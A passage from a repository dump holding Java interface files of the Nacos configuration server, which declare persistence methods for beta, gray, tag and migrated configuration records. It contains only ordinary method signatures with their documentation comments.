createPaginationHelper();\n    \n    //------------------------------------------insert---------------------------------------------//\n    \n    /**\n     * get config info beta.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @return config info state.\n     */\n    ConfigInfoStateWrapper findConfigInfo4BetaState(final String dataId, final String group, final String tenant);\n    \n    /**\n     * Add beta configuration information and publish data change events.\n     *\n     * @param configInfo config info\n     * @param betaIps    ip for push\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult addConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp, String srcUser);\n    \n    /**\n     * insert or update beta config.\n     *\n     * @param configInfo config info\n     * @param betaIps    ip for push\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdateBeta(final ConfigInfo configInfo, final String betaIps, final String srcIp,\n            final String srcUser);\n    \n    /**\n     * insert or update beta config cas.\n     *\n     * @param configInfo config info\n     * @param betaIps    ip for push\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return success or not.\n     */\n    ConfigOperateResult insertOrUpdateBetaCas(final ConfigInfo configInfo, final String betaIps, final String srcIp,\n            final String srcUser);\n    \n    //------------------------------------------delete---------------------------------------------//\n    \n    /**\n     * Delete configuration information, physical deletion.\n     *\n     * @param dataId data id\n     * @param group  group\n     * @param tenant tenant\n     */\n    void removeConfigInfo4Beta(final String dataId, final String group, final String tenant);\n    \n    //------------------------------------------update---------------------------------------------//\n    \n    /**\n     * Update beta configuration information.\n     *\n     * @param configInfo config info\n     * @param betaIps    ip for push\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult updateConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp, String srcUser);\n    \n    /**\n     * Update beta configuration information.\n     *\n     * @param configInfo config info\n     * @param betaIps    ip for push\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return success or not.\n     */\n    ConfigOperateResult updateConfigInfo4BetaCas(ConfigInfo configInfo, String betaIps, String srcIp, String srcUser);\n    \n    //------------------------------------------select---------------------------------------------//\n    \n    /**\n     * Query beta configuration information based on dataId and group.\n     *\n     * @param dataId data id\n     * @param group  group\n     * @param tenant tenant\n     * @return {@link ConfigInfo4Beta}\n     */\n    ConfigInfoBetaWrapper findConfigInfo4Beta(final String dataId, final String group, final String tenant);\n    \n    /**\n     * Returns the number of beta configuration items.\n     *\n     * @return number of configuration items..\n     */\n    int configInfoBetaCount();\n    \n    /**\n     * Query all beta config info for dump task.\n     *\n     * @param pageNo   page number\n     * @param pageSize page size\n     * @return {@link Page} with {@link ConfigInfoWrapper} generation\n     */\n    Page<ConfigInfoBetaWrapper> findAllConfigInfoBetaForDumpAll(final int pageNo, final int pageSize);\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigInfoGrayPersistService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\nimport java.sql.Timestamp;\nimport java.util.List;\n\n/**\n * Database service, providing access to config_info_gray in the database.\n *\n * @author rong\n */\npublic interface ConfigInfoGrayPersistService {\n    \n    /**\n     * create Pagination utils.\n     *\n     * @param <E> Generic object\n     * @return {@link PaginationHelper}\n     */\n    <E> PaginationHelper<E> createPaginationHelper();\n    \n    //------------------------------------------insert---------------------------------------------//\n    \n    \n    /**\n     * get gray config info state.\n     *\n     * @param dataId   dataId.\n     * @param group    group.\n     * @param tenant   tenant.\n     * @param grayName gray name.\n     * @return config info state.\n     */\n    ConfigInfoStateWrapper findConfigInfo4GrayState(final String dataId, final String group, final String tenant,\n            String grayName);\n    \n    /**\n     * Add gray configuration information and publish data change events.\n     *\n     * @param configInfo        config info\n     * @param grayName          gray name\n     * @param grayRule          gray rule\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @return config operation result.\n     */\n    ConfigOperateResult addConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser);\n    \n    /**\n     * Adds configuration information with database atomic operations, minimizing SQL actions and avoiding business\n     * encapsulation.\n     *\n     * @param configGrayId the ID for the gray configuration\n     * @param configInfo   the configuration information to be added\n     * @param grayName     the name of the gray configuration\n     * @param grayRule     the rule of the gray configuration\n     * @param srcIp        the IP address of the source\n     * @param srcUser      the user who performs the addition\n     */\n    void addConfigInfoGrayAtomic(final long configGrayId, final ConfigInfo configInfo, final String grayName, final String grayRule,\n            final String srcIp, final String srcUser);\n    \n    /**\n     * insert or update gray config.\n     *\n     * @param configInfo        config info\n     * @param grayName          gray name\n     * @param grayRule          gray rule\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdateGray(final ConfigInfo configInfo, final String grayName, final String grayRule,\n            final String srcIp, final String srcUser);\n    \n    /**\n     * insert or update gray config cas.\n     *\n     * @param configInfo config info.\n     * @param grayName   gray name\n     * @param grayRule   gray rule\n     * @param srcIp      remote ip.\n     * @param srcUser    user.\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdateGrayCas(final ConfigInfo configInfo, final String grayName, final String grayRule,\n            final String srcIp, final String srcUser);\n    //------------------------------------------delete---------------------------------------------//\n    \n    /**\n     * Delete configuration; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId   dataId\n     * @param group    group\n     * @param tenant   tenant\n     * @param grayName gray name\n     * @param srcIp    remote ip\n     * @param srcUser  user\n     */\n    void removeConfigInfoGray(final String dataId, final String group, final String tenant, final String grayName,\n            final String srcIp, final String srcUser);\n    //------------------------------------------update---------------------------------------------//\n    \n    /**\n     * Update gray configuration information.\n     *\n     * @param configInfo config info\n     * @param grayName   gray name\n     * @param grayRule   gray rule\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult updateConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser);\n    \n    /**\n     * Update gray configuration information.\n     *\n     * @param configInfo config info\n     * @param grayName   gray name\n     * @param grayRule   gray rule\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return success or not.\n     */\n    ConfigOperateResult updateConfigInfo4GrayCas(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser);\n    //------------------------------------------select---------------------------------------------//\n    \n    /**\n     * Query gray configuration information based on dataId and group.\n     *\n     * @param dataId   data id\n     * @param group    group\n     * @param tenant   tenant\n     * @param grayName gray name\n     * @return ConfigInfoGrayWrapper gray model instance.\n     */\n    ConfigInfoGrayWrapper findConfigInfo4Gray(final String dataId, final String group, final String tenant,\n            final String grayName);\n    \n    /**\n     * Returns the number of gray configuration items.\n     *\n     * @return number of configuration items.\n     */\n    int configInfoGrayCount();\n    \n    /**\n     * Query all gray config info for dump task.\n     *\n     * @param pageNo   page numbser\n     * @param pageSize page sizxe\n     * @return {@link Page} with {@link ConfigInfoGrayWrapper} generation\n     */\n    Page<ConfigInfoGrayWrapper> findAllConfigInfoGrayForDumpAll(final int pageNo, final int pageSize);\n    \n    /**\n     * Query all gray config info for dump task.\n     *\n     * @param startTime startTime\n     * @param lastMaxId lastMaxId\n     * @param pageSize  pageSize\n     * @return {@link Page} with {@link ConfigInfoGrayWrapper} generation\n     */\n    List<ConfigInfoGrayWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId, final int pageSize);\n    \n    /**\n     * found all config grays.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @return\n     */\n    List<String> findConfigInfoGrays(final String dataId, final String group, final String tenant);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigInfoPersistService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBase;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\nimport java.sql.Timestamp;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Database service, providing access to config_info in the database.\n *\n * @author lixiaoshuang\n */\npublic interface ConfigInfoPersistService {\n    \n    String PATTERN_STR = \"*\";\n    Object[] EMPTY_ARRAY = new Object[] {};\n    \n    \n    /**\n     * create Pagination utils.\n     *\n     * @param <E> Generic object\n     * @return {@link PaginationHelper}\n     */\n    <E> PaginationHelper<E> createPaginationHelper();\n    \n    /**\n     * Generate fuzzy search Sql.\n     *\n     * @param s origin string\n     * @return fuzzy search Sql\n     */\n    String generateLikeArgument(String s);\n    \n    //------------------------------------------insert---------------------------------------------//\n    \n    \n    /**\n     * Add common configuration information and publish data change events.\n     *\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configInfo        config info\n     * @param configAdvanceInfo advance info\n     * @return config operation result.\n     */\n    ConfigOperateResult addConfigInfo(final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            final Map<String, Object> configAdvanceInfo);\n    \n    \n    /**\n     * Update config info metadata config operate result.\n     *\n     * @param dataId      the data id\n     * @param group       the group\n     * @param tenant      the tenant\n     * @param configTags  the config tags\n     * @param description the description\n     * @return the config operate result\n     * @throws NacosException the nacos exception\n     */\n    ConfigOperateResult updateConfigInfoMetadata(final String dataId, final String group, final String tenant,\n            final String configTags, final String description) throws NacosException;\n    \n    /**\n     * insert or update.\n     *\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configInfo        config info\n     * @param configAdvanceInfo advance info\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdate(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Write to the main table, insert or update cas.\n     *\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configInfo        config info\n     * @param configAdvanceInfo advance info\n     * @return success or not.\n     */\n    ConfigOperateResult insertOrUpdateCas(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Add configuration; database atomic operation, minimum sql action, no business encapsulation.\n     *\n     * @param id                id\n     * @param srcIp             ip\n     * @param srcUser           user\n     * @param configInfo        info\n     * @param configAdvanceInfo advance info\n     * @return execute sql result\n     */\n    long addConfigInfoAtomic(final long id, final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Add configuration; database atomic operation, minimum sql action, no business encapsulation.\n     *\n     * @param configId id\n     * @param tagName  tag\n     * @param dataId   data id\n     * @param group    group\n     * @param tenant   tenant\n     */\n    void addConfigTagRelationAtomic(long configId, String tagName, String dataId, String group, String tenant);\n    \n    /**\n     * Add configuration; database atomic operation.\n     *\n     * @param configId   config id\n     * @param configTags tags\n     * @param dataId     dataId\n     * @param group      group\n     * @param tenant     tenant\n     */\n    void addConfigTagsRelation(long configId, String configTags, String dataId, String group, String tenant);\n    \n    /**\n     * batch operation,insert or update the format of the returned: succCount: number of successful imports skipCount:\n     * number of import skips (only with skip for the same configs) failData: import failed data (only with abort for\n     * the same configs) skipData: data skipped at import  (only with skip for the same configs).\n     *\n     * @param configInfoList    config info list\n     * @param srcUser           user\n     * @param srcIp             remote ip\n     * @param configAdvanceInfo advance info\n     * @param policy            {@link SameConfigPolicy}\n     * @return map containing the number of affected rows\n     * @throws NacosException nacos exception\n     */\n    Map<String, Object> batchInsertOrUpdate(List<ConfigAllInfo> configInfoList, String srcUser, String srcIp,\n            Map<String, Object> configAdvanceInfo, SameConfigPolicy policy) throws NacosException;\n    \n    //------------------------------------------delete---------------------------------------------//\n    \n    /**\n     * Delete configuration information, physical deletion.\n     *\n     * @param dataId  data id\n     * @param group   group\n     * @param tenant  tenant\n     * @param srcIp   remote ip\n     * @param srcUser user\n     */\n    void removeConfigInfo(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser);\n    \n    /**\n     * Delete config info by ids.\n     *\n     * @param ids     id list\n     * @param srcIp   remote ip\n     * @param srcUser user\n     * @return {@link ConfigAllInfo} list\n     * @author klw\n     */\n    @Deprecated\n    List<ConfigAllInfo> removeConfigInfoByIds(final List<Long> ids, final String srcIp, final String srcUser);\n    \n    /**\n     * Delete tag.\n     *\n     * @param id id\n     */\n    void removeTagByIdAtomic(long id);\n    \n    /**\n     * Remove configuration; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param tenant  tenant\n     * @param srcIp   ip\n     * @param srcUser user\n     */\n    void removeConfigInfoAtomic(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser);\n    \n    /**\n     * Remove configuration; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param ids ids\n     */\n    void removeConfigInfoByIdsAtomic(final String ids);\n    \n    //------------------------------------------update---------------------------------------------//\n    \n    /**\n     * Update common configuration information.\n     *\n     * @param configInfo        config info\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configAdvanceInfo advance info\n     * @return config operation result.\n     */\n    ConfigOperateResult updateConfigInfo(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            final Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Update common configuration information.\n     *\n     * @param configInfo        config info\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configAdvanceInfo advance info\n     * @return config operation result.\n     */\n    ConfigOperateResult updateConfigInfoCas(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            final Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Update configuration; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param configInfo        config info\n     * @param srcIp             remote ip\n     * @param srcUser           user\n     * @param configAdvanceInfo advance info\n     */\n    void updateConfigInfoAtomic(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo);\n    \n    //------------------------------------------select---------------------------------------------//\n    \n    /**\n     * Get the maxId.\n     *\n     * @return config max id\n     */\n    long findConfigMaxId();\n    \n    /**\n     * Query configuration information by primary key ID.\n     *\n     * @param id id\n     * @return {@link ConfigInfo}\n     */\n    ConfigInfo findConfigInfo(long id);\n    \n    /**\n     * Query configuration information; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @param tenant tenant\n     * @return config info\n     */\n    ConfigInfoWrapper findConfigInfo(final String dataId, final String group, final String tenant);\n    \n    /**\n     * find config info.\n     *\n     * @param pageNo            page number\n     * @param pageSize          page size\n     * @param dataId            data id\n     * @param group             group\n     * @param tenant            tenant\n     * @param configAdvanceInfo advance info\n     * @return {@link Page} with {@link ConfigInfo} generation\n     */\n    Page<ConfigInfo> findConfigInfo4Page(final int pageNo, final int pageSize, final String dataId, final String group,\n            final String tenant, final Map<String, Object> configAdvanceInfo);\n    \n    \n    /**\n     * Returns the number of configuration items.\n     *\n     * @return number of configuration items.\n     */\n    int configInfoCount();\n    \n    /**\n     * Returns the number of configuration items.\n     *\n     * @param tenant tenant\n     * @return number of configuration items.\n     */\n    int configInfoCount(String tenant);\n    \n    /**\n     * get tenant id list  by page.\n     *\n     * @param page     page number\n     * @param pageSize page size\n     * @return tenant id list\n     */\n    List<String> getTenantIdList(int page, int pageSize);\n    \n    /**\n     * get group id list  by page.\n     *\n     * @param page     page number\n     * @param pageSize page size\n     * @return group id list\n     */\n    List<String> getGroupIdList(int page, int pageSize);\n    \n    /**\n     * Query all config info.\n     *\n     * @param lastMaxId   last max id\n     * @param pageSize    page size\n     * @param needContent need content or not.\n     * @return {@link Page} with {@link ConfigInfoWrapper} generation\n     */\n    Page<ConfigInfoWrapper> findAllConfigInfoFragment(final long lastMaxId, final int pageSize, boolean needContent);\n    \n    /**\n     * Query config info.\n     *\n     * @param pageNo            page number\n     * @param pageSize          page size\n     * @param dataId            data id\n     * @param group             group\n     * @param tenant            tenant\n     * @param configAdvanceInfo advance info\n     * @return {@link Page} with {@link ConfigInfo} generation\n     */\n    Page<ConfigInfo> findConfigInfoLike4Page(final int pageNo, final int pageSize, final String dataId,\n            final String group, final String tenant, final Map<String, Object> configAdvanceInfo);\n    \n    /**\n     * Query change config.order by id asc.\n     *\n     * @param startTime start time\n     * @param lastMaxId lastMaxId\n     * @param pageSize  pageSize\n     * @return {@link ConfigInfoWrapper} list\n     */\n    List<ConfigInfoStateWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId, final int pageSize);\n    \n    /**\n     * Query tag list.\n     *\n     * @param dataId data id\n     * @param group  group\n     * @param tenant tenant\n     * @return tag list\n     */\n    List<String> selectTagByConfig(String dataId, String group, String tenant);\n    \n    /**\n     * find ConfigInfo by ids.\n     *\n     * @param ids id list\n     * @return {@link com.alibaba.nacos.config.server.model.ConfigInfo} list\n     * @author klw\n     * @date 2019/7/5 16:37\n     */\n    List<ConfigInfo> findConfigInfosByIds(final String ids);\n    \n    /**\n     * Query configuration information; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @param tenant tenant\n     * @return advance info\n     */\n    ConfigAdvanceInfo findConfigAdvanceInfo(final String dataId, final String group, final String tenant);\n    \n    /**\n     * Query configuration information; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @param tenant tenant\n     * @return advance info\n     */\n    ConfigAllInfo findConfigAllInfo(final String dataId, final String group, final String tenant);\n    \n    /**\n     * get config info state.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @return config info state.\n     */\n    ConfigInfoStateWrapper findConfigInfoState(final String dataId, final String group, final String tenant);\n    \n    /**\n     * query all configuration information according to group, appName, tenant (for export).\n     *\n     * @param dataId  data id\n     * @param group   group\n     * @param tenant  tenant\n     * @param appName appName\n     * @param ids     ids\n     * @return Collection of ConfigInfo objects\n     */\n    List<ConfigAllInfo> findAllConfigInfo4Export(final String dataId, final String group, final String tenant,\n            final String appName, final List<Long> ids);\n    \n    /**\n     * Query dataId list by namespace.\n     *\n     * @param tenantId tenantId\n     * @return {@link ConfigInfoBase}\n     */\n    List<ConfigInfoWrapper> queryConfigInfoByNamespace(final String tenantId);\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigInfoTagPersistService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Tag;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\nimport java.util.List;\n\n/**\n * Database service, providing access to config_info_tag in the database.\n * Deprecated since 2.5.0，only support on compatibility,replaced with ConfigInfoGray model, will be  soon removed on further version.\n * @author lixiaoshuang\n */\n@Deprecated\npublic interface ConfigInfoTagPersistService {\n    \n    /**\n     * create Pagination utils.\n     *\n     * @param <E> Generic object\n     * @return {@link PaginationHelper}\n     */\n    <E> PaginationHelper<E> createPaginationHelper();\n    \n    //------------------------------------------insert---------------------------------------------//\n    \n    \n    /**\n     * get config info state.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @param tag    tag.\n     * @return config info state.\n     */\n    ConfigInfoStateWrapper findConfigInfo4TagState(final String dataId, final String group, final String tenant,\n            String tag);\n    \n    /**\n     * Add tag configuration information and publish data change events.\n     *\n     * @param configInfo config info\n     * @param tag        tag\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult addConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser);\n    \n    /**\n     * insert or update tag config.\n     *\n     * @param configInfo config info\n     * @param tag        tag\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdateTag(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser);\n    \n    /**\n     * insert or update tag config cas.\n     *\n     * @param configInfo config info.\n     * @param tag        tag.\n     * @param srcIp      remote ip.\n     * @param srcUser    user.\n     * @return config operation result.\n     */\n    ConfigOperateResult insertOrUpdateTagCas(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser);\n    //------------------------------------------delete---------------------------------------------//\n    \n    /**\n     * Delete configuration; database atomic operation, minimum SQL action, no business encapsulation.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param tenant  tenant\n     * @param tag     tag\n     * @param srcIp   remote ip\n     * @param srcUser user\n     */\n    void removeConfigInfoTag(final String dataId, final String group, final String tenant, final String tag,\n            final String srcIp, final String srcUser);\n    //------------------------------------------update---------------------------------------------//\n    \n    /**\n     * Update tag configuration information.\n     *\n     * @param configInfo config info\n     * @param tag        tag\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return config operation result.\n     */\n    ConfigOperateResult updateConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser);\n    \n    /**\n     * Update tag configuration information.\n     *\n     * @param configInfo config info\n     * @param tag        tag\n     * @param srcIp      remote ip\n     * @param srcUser    user\n     * @return success or not.\n     */\n    ConfigOperateResult updateConfigInfo4TagCas(ConfigInfo configInfo, String tag, String srcIp, String srcUser);\n    //------------------------------------------select---------------------------------------------//\n    \n    /**\n     * Query tag configuration information based on dataId and group.\n     *\n     * @param dataId data id\n     * @param group  group\n     * @param tenant tenant\n     * @param tag    tag\n     * @return {@link ConfigInfo4Tag}\n     */\n    ConfigInfoTagWrapper findConfigInfo4Tag(final String dataId, final String group, final String tenant,\n            final String tag);\n    \n    /**\n     * Returns the number of beta configuration items.\n     *\n     * @return number of configuration items..\n     */\n    int configInfoTagCount();\n    \n    /**\n     * Query all tag config info for dump task.\n     *\n     * @param pageNo   page numbser\n     * @param pageSize page sizxe\n     * @return {@link Page} with {@link ConfigInfoWrapper} generation\n     */\n    Page<ConfigInfoTagWrapper> findAllConfigInfoTagForDumpAll(final int pageNo, final int pageSize);\n    \n    /**\n     * found all config tags.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @return\n     */\n    List<String> findConfigInfoTags(final String dataId, final String group, final String tenant);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigMigratePersistService.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\nimport java.util.List;\n\n/**\n * The interface Config migrate persist service.\n *\n * @author Sunrisea\n */\npublic interface ConfigMigratePersistService {\n    \n    /**\n     * Create pagination helper pagination helper.\n     *\n     * @param <E> the type parameter\n     * @return the pagination helper\n     */\n    <E> PaginationHelper<E> createPaginationHelper();\n    \n    /**\n     * Config info conflict count integer.\n     *\n     * @param srcUser the src user\n     * @return the integer\n     */\n    Integer configInfoConflictCount(String srcUser);\n    \n    /**\n     * Config info gray conflict count integer.\n     *\n     * @param srcUser the src user\n     * @return the integer\n     */\n    Integer configInfoGrayConflictCount(String srcUser);\n    \n    /**\n     * Gets migrate config id list.\n     *\n     * @param startId  the start id\n     * @param pageSize the page size\n     * @return the migrate config id list\n     */\n    List<Long> getMigrateConfigInsertIdList(long startId, int pageSize);\n    \n    /**\n     * Gets migrate config gray id list.\n     *\n     * @param startId  the start id\n     * @param pageSize the page size\n     * @return the migrate config gray id list\n     */\n    List<Long> getMigrateConfigGrayInsertIdList(long startId, int pageSize);\n    \n    /**\n     * Gets migrate config update list.\n     *\n     * @param startId      the start id\n     * @param pageSize     the page size\n     * @param srcTenant    the src tenant\n     * @param targetTenant the target tenant\n     * @param srcUser      the src user\n     * @return the migrate config update list\n     */\n    List<ConfigInfo> getMigrateConfigUpdateList(long startId, int pageSize, String srcTenant, String targetTenant,\n            String srcUser);\n    \n    /**\n     * Gets migrate config gray update list.\n     *\n     * @param startId      the start id\n     * @param pageSize     the page size\n     * @param srcTenant    the src tenant\n     * @param targetTenant the target tenant\n     * @param srcUser      the src user\n     * @return the migrate config gray update list\n     */\n    List<ConfigInfoGrayWrapper> getMigrateConfigGrayUpdateList(long startId, int pageSize, String srcTenant,\n            String targetTenant, String srcUser);\n    \n    /**\n     * Migrate config by ids.\n     *\n     * @param ids     the ids\n     * @param srcUser the src user\n     */\n    void migrateConfigInsertByIds(List<Long> ids, String srcUser);\n    \n    /**\n     * Migrate config gray by ids.\n     *\n     * @param ids     the ids\n     * @param srcUser the src user\n     */\n    void migrateConfigGrayInsertByIds(List<Long> ids, String srcUser);\n    \n    /**\n     * Sync config gray.\n     *\n     * @param dataId       the data id\n     * @param group        the group\n     * @param tenant       the tenant\n     * @param grayName     the gray name\n     * @param targetTenant the target tenant\n     * @param srcUser      the src user\n     */\n    void syncConfigGray(String dataId, String group, String tenant, String grayName, String targetTenant,\n            String srcUser);\n    \n    /**\n     * Sync config.\n     *\n     * @param dataId       the data id\n     * @param group        the group\n     * @param tenant       the tenant\n     * @param targetTenant the target tenant\n     * @param srcUser      the src user\n     */\n    void syncConfig(String dataId, String group, String tenant, String targetTenant, String srcUser);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Beta;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Tag;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBase;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoChanged;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport 